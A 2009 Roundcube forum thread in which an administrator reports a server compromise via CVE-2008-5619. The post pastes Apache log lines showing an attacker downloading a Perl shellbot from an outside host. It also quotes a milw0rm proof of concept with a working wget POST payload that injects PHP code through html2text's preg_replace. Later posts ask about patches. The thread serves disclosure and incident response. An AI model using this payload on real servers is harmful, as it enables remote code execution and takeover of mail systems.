Roundcube Community Forum

News and Announcements => General Discussion => Topic started by: robpoe on February 09, 2009, 11:52:13 AM

Title: Security Vulnerability in the wild!
Post by: robpoe on February 09, 2009, 11:52:13 AM
I had a server compromised with an IRC shellbot and a callback SSH termserver due to RoundCube

Shouldn't this kind of thing be advertised in BIG BOLD PRINT on the website?

On a forensic analysis of the box, this appears in the web server's (APACHE) error log for the domain...  (THE URL IS STILL VALID AS OF TODAY!)

[Wed Feb 04 02:46:45 2009] [error] [client 217.174.240.137] PHP Notice:  Undefined variable:  in /var/www/html/roundcube/program/lib/html2text.inc(381) : regexp code on line 1
[Wed Feb 04 02:46:45 2009] [error] [client 217.174.240.137] PHP Notice:  Use of undefined constant HTTP_ACCEPT - assumed 'HTTP_ACCEPT' in /var/www/html/roundcube/program/lib/html2text.inc(381) : regexp code on line 1
--02:46:45--  http://www.alexutz.host.sk/dor.pl
           => `dor.pl'
Resolving www.alexutz.host.sk... 62.168.109.150
Connecting to www.alexutz.host.sk|62.168.109.150|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31,578 (31K) [text/x-perl]

    0K .......... .......... ..........                      100%   61.52 KB/s

02:46:53 (61.52 KB/s) - `dor.pl' saved [31578/31578]

There are several other instances of this in the logfile, which I'm not going to paste ... Here is a post on how to make this happen --

Public Release Date of POC: 2008-12-22
Author: Jacobo Avariento Gimeno (Sofistic)
CVE id: CVE-2008-5619
Bugtraq id: 32799
Severity: Critical
Vulnerability reported by: RealMurphy


Intro
----
Roundcube Webmail is a browser-based IMAP client that uses
"chuggnutt.com HTML to Plain Text Conversion" library to convert
HTML text to plain text, this library uses the preg_replace PHP
function in an insecure manner.

Vulnerable versions:
Round Cube RoundCube Webmail 0.2-3 beta
Round Cube RoundCube Webmail 0.2-1 alpha (tested)


Analysis of the vulnerable code
----
The script bin/html2text.php creates an instance of the class html2text
with the given POST data, the problem arises in the file
program/lib/html2text.php in function _convert() on line 381:

        // Run our defined search-and-replace
        $text = preg_replace($this->search, $this->replace, $text);

Some patterns in $this->search allow interpret PHP code using the "e"
flag, i.e.:
'/]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie', //
'/]*>(.+?)<\/b>/ie',                //
'/]*>(.+?)<\/th>/ie',              // and

In concrete those would be replaced by:
'$this->_build_link_list("\\2", "\\3")', //

'strtoupper("\\1")',                    //
"strtoupper(\"\t\t\\1\n\")",            // and

Now using PHP complex (curly) syntax we can take advantage of this to
interpret arbitrary PHP code, evaluating PHP code embedded inside
strings.


Proof of Concept
----
As this vulnerability was discovered in-the-wild:
http://trac.roundcube.net/ticket/1485618 was quite sure that would be
exploitable, using PHP curly we can execute phpinfo():

wget -q --header="Content-Type: ''" \
-O - --post-data='{${phpinfo()}}' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php

Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc
to avoid using single or double quotes the arbitrary shell command
execution is fully feasible. As this vulnerability was discovered last
week no more details will be published yet, more info will be available
at http://sofistic.net.



-- Jacobo Avariento Gimeno IT Security Department @ Sofistic Your security, our concern! http://sofistic.net

# milw0rm.com [2008-12-22]
Title: Security Vulnerability in the wild!
Post by: FMFREAK on February 17, 2009, 03:19:32 AM
Is there a solution for this problem ? I have the same problem.
Title: Security Vulnerability in the wild!
Post by: Napsty on February 17, 2009, 01:06:26 PM
I thought the Vulnerability was fixed?
see here: SourceForge.net: News: Security update for 0.2-beta (http://sourceforge.net/forum/forum.php?forum_id=898542)
Title: Security Vulnerability in the wild!
Post by: dvarjen on April 22, 2009, 04:47:17 AM
This is NOT fixed in 2.1. I installed latest stable and I still get this!

Somehow they are able to get programs to run as root. Because they started a shoutcast server and a SSH script on my server.

I tried to get apache to log the postdata to figure out what they are doing. But it doesn't work.

Im at work so i don't have all information here.
Title: Security Vulnerability in the wild!
Post by: Asterix on May 21, 2009, 03:39:39 PM
Does anyone know if this security bug is fixed in v0.2.2? In the changelog, I can not really find any reference to this text2html issue.

Regards,

Marcel